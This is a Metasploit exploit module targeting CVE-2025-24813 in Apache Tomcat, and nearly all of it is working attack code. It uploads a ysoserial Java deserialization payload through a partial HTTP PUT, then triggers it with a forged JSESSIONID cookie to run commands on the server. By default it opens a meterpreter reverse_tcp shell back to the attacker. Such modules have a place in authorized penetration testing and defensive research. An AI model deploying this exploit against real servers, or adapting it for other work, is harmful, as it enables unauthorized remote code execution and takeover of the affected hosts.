## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::JavaDeserialization include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Tomcat Partial PUT Java Deserialization', 'Description' => %q{ This module exploits a Java deserialization vulnerability in Apache Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to place an attacker controlled deserialization payload in the /webapps/ROOT/ directory. For the exploit to succeed, writes must be enabled for the default servlet, and org.apache.catalina.session.PersistentManager must be configured to use org.apache.catalina.session.FileStore. Verified working on 10.1.16-1 }, 'Author' => [ 'sw0rd1ight', # Discovery 'Calum Hutton', # MSF Module 'h4ck3r-04' # MSF Module ], 'References' => [ ['CVE', '2025-24813'], ['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'], ], 'DisclosureDate' => '2025-03-10', # Vendor release note 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']), ]) end def check # Advanced check, runs the full exploit (without a command) # Assumes a 500 response from requesting the session indicates success begin upload_session_id = upload_payload('') unless upload_session_id return Exploit::CheckCode::Safe end rescue Msf::Exploit::Failed => e return CheckCode::Safe(e) end trigger_res = trigger_payload(upload_session_id) if trigger_res&.code != 500 Exploit::CheckCode::Safe end Exploit::CheckCode::Vulnerable end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") execute_command(payload.encoded) end def execute_command(cmd, _opts = {}) print_status("Utilizing #{datastore['GADGET']} deserialization chain") upload_session_id = upload_payload(cmd) unless upload_session_id fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT") print_status('Attempting to deserialize session file..') trigger_payload_res = trigger_payload(upload_session_id) unless trigger_payload_res&.code == 500 fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}") end print_good('500 error response usually indicates success :)') end def upload_payload(cmd) # Generate a random session id session_id = Rex::Text.rand_text_alpha(10) # Determine the shell and register the payload for cleanup case target['Platform'] when ['unix', 'linux'] shell = 'bash' register_file_for_cleanup("../webapps/ROOT/#{session_id}.session") when 'win' shell = 'cmd' register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}") else fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})") end res = send_partial_put( generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd), "#{session_id}.session" ) # 201/204 is the normal success code # 409 indicates a conflict or file permission issue # but the partial file will still be created if [201, 204, 409].include?(res&.code) session_id end end def trigger_payload(session_id) # Request the session id to retrieve the file and trigger deserialization request = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" } } send_request_cgi(request) end def send_partial_put(data, name) request = { 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, name), 'headers' => { 'Content-Range' => 'bytes 0-5/100' }, 'data' => data } send_request_cgi(request) end end